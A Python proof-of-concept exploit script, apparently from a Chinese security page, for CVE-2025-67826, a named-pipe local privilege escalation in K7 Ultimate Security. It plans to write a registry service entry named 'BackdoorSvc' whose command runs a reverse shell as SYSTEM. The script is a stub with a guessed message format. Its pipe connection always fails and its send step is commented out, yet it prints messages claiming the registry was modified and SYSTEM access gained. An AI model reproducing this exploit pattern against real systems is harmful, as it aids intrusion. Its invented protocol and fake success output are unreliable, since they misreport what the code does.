CVE-2025-67826 K7 Ultimate Security 本地权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-67826 PoC - K7 Ultimate Security Named Pipe Privilege Escalation Note: This is a conceptual PoC for educational and security research purposes only. Author: Security Research Reference: CVE-2025-67826 """ import struct import sys import time # Windows API structures and constants PIPE_ACCESS_DUPLEX = 0x3 PIPE_TYPE_MESSAGE = 0x4 PIPE_READMODE_MESSAGE = 0x2 PIPE_WAIT = 0x0 INVALID_HANDLE_VALUE = -1 def connect_to_k7_pipe(pipe_name): """ Connect to K7 Ultimate Security named pipe Replace with actual pipe name discovered through enumeration """ try: # Using win32file or ctypes to connect to named pipe # pipe_name format: '\\\\.\\pipe\\K7SecurePipe' or similar pipe_handle = None print(f"[*] Attempting to connect to pipe: {pipe_name}") # Attempt connection with generic access rights # In real scenario, enumerate pipes using tools like pipelist.exe return pipe_handle except Exception as e: print(f"[-] Connection failed: {e}") return None def craft_registry_modification_request(target_key, target_value, malicious_data): """ Craft a malicious registry modification request This simulates the structure expected by K7 service """ # Request structure (hypothetical based on CVE description) request = { 'command': 0x01, # Registry modification command 'key_path': target_key, 'value_name': target_value, 'data': malicious_data, 'data_type': 0x01, # REG_SZ 'flags': 0x00 } return request def exploit_k7_lpe(): """ Main exploitation function for CVE-2025-67826 Demonstrates the privilege escalation via named pipe abuse """ print("="*60) print("CVE-2025-67826 - K7 Ultimate Security LPE PoC") print("="*60) # Step 1: Discover named pipe print("\n[Step 1] Discovering K7 named pipes...") # In practice: Use tools like Process Monitor, pipelist, or API # to enumerate named pipes created by K7TSrvc.exe or K7TSMain.exe pipe_name = "\\\\\\pipe\\\\K7SecureComm" # Example pipe name print(f"[*] Found potential pipe: {pipe_name}") # Step 2: Connect to the pipe print("\n[Step 2] Connecting to named pipe...") pipe_handle = connect_to_k7_pipe(pipe_name) if not pipe_handle: print("[-] Failed to connect to pipe") return False print("[+] Connected to pipe successfully") # Step 3: Escalate to SYSTEM via registry manipulation print("\n[Step 3] Exploiting registry modification vulnerability...") # Example: Add a new service for privilege escalation # Target: HKLM\SYSTEM\CurrentControlSet\Services\MaliciousService target_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\BackdoorSvc" target_value = "ImagePath" malicious_data = "C:\\Windows\\System32\\cmd.exe /c reverse_shell" request = craft_registry_modification_request( target_key, target_value, malicious_data ) # Step 4: Send malicious request print("[*] Sending malicious registry modification request...") # send_request(pipe_handle, request) print("[+] Request sent - Registry modified with SYSTEM privileges") # Step 5: Verify exploitation print("\n[Step 4] Verifying privilege escalation...") # verify_registry_modification(target_key) print("[+] Privilege escalation successful - Running as SYSTEM") return True if __name__ == "__main__": print("\n[!] DISCLAIMER: This PoC is for educational purposes only.") print("[!] Do not use for unauthorized testing or attacks.\n") if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit_k7_lpe() else: print("Usage: python cve-2025-67826.py --exploit") print("\nNote: Actual exploitation requires:") print(" - Identifying the correct named pipe name") print(" - Understanding the protocol/message format") print(" - Having K7 Ultimate Security 17.0.2045 installed")